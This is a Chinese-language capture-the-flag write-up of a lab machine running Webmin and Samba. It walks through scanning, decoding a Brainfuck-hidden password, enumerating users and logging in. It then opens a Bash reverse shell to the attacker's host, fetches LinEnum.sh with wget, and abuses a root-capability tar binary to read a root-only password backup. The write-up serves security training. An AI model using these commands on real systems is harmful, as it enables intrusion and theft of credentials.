一、信息收集
常规的主机发现以及端口扫描,扫描自己所在的网段。
nmap 192.168.216.0/24
nmap -A -v -T4 -p 1-65535 192.168.216.149
可以看到服务器开启了80端口,139和445端口是samba服务,实现文件共享,10000和20000端口则是搭建了cms,而且版本也暴露了出来。
二、漏洞发现
首先先来查看80端口,只是一个普通的apache的index文件,apache的版本也比较高,因此并没有发现漏洞
在查看了源代码后,在底部发现了一段加密过的字符串,通过网上搜查到这是一段brainfuck加密
在线网站brainfuck加解密:Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
解密后得到:.2uqPEfj3D<P'a-3
接着对80端口进行目录扫描
但是并没有有用的信息。
接下来探测10000端口和20000端口
2个端口都是这样一个登录页面,但是2个cms版本不一样,从页面上看到这是一个webmin的cms。在网上查找该cms的漏洞,但是cve很多,一个个尝试需要时间,因此先放一放。
samba服务可以使用enum4linux工具来枚举用户
enum4linux 192.168.216.149
爆出了一个用户cyber,结合上面找出的密码.2uqPEfj3D<P'a-3,直接尝试登录。
10000端口失败
20000端口成功
在这里找到了一个command shell,打开得到第一个flag。
三、权限提升
查看该用户下的文件,有一个tar命令是root权限。
先反弹shell到kali下,方便后续提权
bash -c 'exec bash -i &>/dev/tcp/192.168.216.128/8888 <&1'
反弹成功
接着信息收集,查看系统版本
版本较新,搜索exp后发现没有漏洞。
上传信息收集脚本,现在kali上搭建http服务,然后在服务器下载脚本文件
python -m SimpleHTTPServer 8080
wget http://192.168.216.128:8080/LinEnum.sh
运行LinEnum.sh文件,查看suid文件,并没有发现可利用之处。
suid提权一般有find、cp、nmap、vim、bash、more、less、nano等常见命令
在最后发现一个可疑文件.old_pass.bak,怀疑是存储了以前的密码,但是是root权限,当前用户并不能查看,联想到上面的root权限的tar文件,因此可以使用tar命令对该文件进行压缩和解压的操作,这样权限就变成了当前用户。
./tar -czvf passwd.tar.gz /var/backups/.old_pass.bak
./tar -xzvf passwd.tar.gz
cat /var/backups/.old_pass.bak
查看文件后得到一个密钥:Ts&4&YurgtRX(=~h
尝试登录到root
权限提升成功,完结!!!
总结
samba服务可以使用enum4linux工具来枚举
brainfuck加密
cve的获取
root权限二进制文件